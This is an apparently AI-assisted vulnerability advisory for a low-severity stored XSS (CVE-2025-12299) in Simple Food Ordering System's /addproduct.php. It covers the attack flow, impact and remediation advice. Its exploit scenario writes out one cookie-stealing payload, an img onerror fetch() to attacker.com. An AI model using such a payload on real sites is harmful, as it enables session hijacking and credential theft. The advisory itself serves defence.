Simple Food Ordering System
CVE-2025-12299
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts XSS payload
-
DeliveryInjects malicious script into pname/category/price parameter
-
ExploitSubmits request to /addproduct.php
-
InstallPayload stored or reflected in application response
-
C2Victim views product form or listing
-
ExecutePayload executes in victim's browser
-
ImpactAttacker steals session/credentials or performs actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following specific conditions: (1) The application must process user input through the pname, category, or price parameters in /addproduct.php without proper HTML encoding; (2) The injected payload must be reflected or stored and later displayed to a user in an unescaped context (typically HTML between tags or in attribute values); (3) A victim user (administrator or any authenticated user viewing the product form or product listing) must interact with the malicious payload by visiting the affected page or submitting a form containing the payload. No special system configuration or non-standard deployment is required - the vulnerability is present in the default installation. The attack does NOT require elevated privileges to inject; however, exploitation scope is limited to users who access the affected /addproduct.php endpoint, and impact depends on the session context of the victim. |
| Impact | This vulnerability presents low real-world risk despite being remotely exploitable. The CVSS 2.1 score and extremely low EPSS percentile (10%) indicate that widespread automated exploitation is unlikely. The CVSS 4.0 vector explicitly requires user interaction (UI:P), meaning a victim must click a malicious link or submit crafted data; this is not a zero-click attack. The integrity impact is low (VI:L), limiting the damage to session hijacking or credential theft rather than system compromise. Public exploit code exists, lowering the technical barrier for attackers, but the targeting of an obscure open-source PHP application used primarily in small deployments suggests real exploitation will remain opportunistic and limited in scope. The impact is further constrained to confidentiality and integrity of user data within the application, not underlying server compromise. For organizations using this software, the risk is moderate if the application is internet-facing and processes user input from untrusted sources; for closed internal deployments, risk is minimal. |
| Exploit ScenarioDerived | An attacker identifies a Simple Food Ordering System 1.0 instance and crafts a malicious product entry with JavaScript payload in the pname field (e.g., pname=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>). When an administrator or user views the product list in the /addproduct.php page or a subsequent page that displays products, the payload executes in their browser context, exfiltrating session cookies or redirecting them to a phishing site. Public exploit code from GitHub (referenced in sources) automates this injection process. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts through the pname, category, or price parameters in /addproduct.php, requiring user interaction to trigger payload execution. Public exploit code is available, and the vulnerability carries low severity (CVSS 2.1) due to the requirement for user interaction and limited scope of impact.
RemediationAI
No vendor-released patch identified at time of analysis. Immediate workarounds include: (1) Apply output encoding to all product-related parameters (pname, category, price) using htmlspecialchars() or equivalent HTML entity encoding before rendering in responses; (2) Implement Content-Security-Policy (CSP) headers with script-src restrictions to limit inline script execution; (3) Validate input on the server side to reject or sanitize special characters in pname, category, and price fields; (4) Restrict access to /addproduct.php to authenticated administrators only via authentication checks or IP whitelisting to reduce exposure surface. Given the low adoption and open-source nature, contact the project maintainer (Fabian) via code-projects.org to request a patched version. Until patched, organizations should prioritize this as a medium-effort remediation due to the low CVSS but non-zero real-world risk in internet-facing deployments.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Simple Food Ordering System is a PHP-based web application for managing food orders. The vulnerability exists in the /addproduct.php file, which handles product creation. The parameters pname (product name), category, and price are passed to the application without proper output encoding or input sanitization, allowing attackers to inject arbitrary HTML and JavaScript code. This is a classic reflected or stored XSS vulnerability (CWE-79: Cross-site Scripting) where user-controlled input reaches the browser without escaping special characters like angle brackets or quotes. The attack vector is network-based with low complexity, and exploitation requires user interaction (UI:P in CVSS 4.0 vector).
Know when Simple Food Ordering System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A security flaw has been discovered in code-projects Simple Food Ordering System 1.0. This vulnerability affects unknown code of the file /addproduct.php. The manipulation of the argument pname/category/price results in cross site scripting. It is possible to launch the attack remotely. The exploit has been released to the public and may be exploited.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
More in Simple Food Ordering System
View allA vulnerability was found in SourceCodester Simple Food Ordering System 1.0. Rated medium severity (CVSS 5.4), this vuln
Price parameter manipulation in SourceCodester Simple Food Ordering System 1.0 allows unauthenticated remote attackers t
A remote code execution vulnerability (CVSS 7.3). Risk factors: public PoC available.
Unrestricted file upload in Simple Food Ordering System 1.0 (PHP) allows remote attackers to upload arbitrary files thro
Unrestricted file upload in code-projects Simple Food Ordering System 1.0 allows remote attackers to upload arbitrary fi
The Simple Food Ordering System through version 1.0 allows unauthenticated remote attackers to access sensitive database
SQL injection in code-projects Simple Food Ordering System 1.0 allows remote unauthenticated attackers to manipulate dat
A vulnerability, which was classified as problematic, was found in SourceCodester Simple Food Ordering System 1.0. Rated
A vulnerability has been found in code-projects Simple Food Ordering System 1.0. Rated medium severity (CVSS 5.3), this
Cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts via un
Stored cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts
Reflected cross-site scripting (XSS) in Simple Food Ordering System 1.0 via the pname parameter in /editcategory.php all
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB